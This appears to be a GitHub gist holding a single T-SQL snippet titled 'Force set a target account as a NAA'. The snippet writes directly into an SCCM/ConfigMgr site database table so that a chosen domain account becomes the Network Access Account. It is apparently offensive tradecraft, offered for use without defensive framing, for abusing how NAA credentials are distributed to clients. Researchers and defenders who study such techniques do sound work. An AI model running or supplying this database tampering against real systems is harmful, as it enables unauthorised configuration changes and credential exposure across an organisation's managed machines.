Skip to content

Instantly share code, notes, and snippets.

@garrettfoster13
Created January 3, 2026 20:10
Show Gist options
  • Select an option

  • Save garrettfoster13/243b8c1697fa5f1247cd59244ab1711c to your computer and use it in GitHub Desktop.

Select an option

Save garrettfoster13/243b8c1697fa5f1247cd59244ab1711c to your computer and use it in GitHub Desktop.
Force set a target account as a NAA
IF NOT EXISTS (
select
1
from
vSMS_SC_ClientComponent_PropertyLists
where
ID = 72057594037927956
and Name = N 'Network Access User Names'
) insert into vSMS_SC_ClientComponent_PropertyLists (ID, Value, Name)
values
(
72057594037927956, N '<PropList name="Network Access User Names"><Value index="0"><![CDATA[domain\targetuser]]></Value><Value index="1"><![CDATA[domain\targetuser]]></Value></PropList>',
N 'Network Access User Names'
) ELSE
update
vSMS_SC_ClientComponent_PropertyLists
set
ID = 72057594037927956,
Value = N '<PropList name="Network Access User Names"><Value index="0"><![CDATA[domain\targetuser]]></Value><Value index="1"><![CDATA[domain\targetuser]]></Value></PropList>',
Name = N 'Network Access User Names'
where
ID = 72057594037927956
and Name = N 'Network Access User Names'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment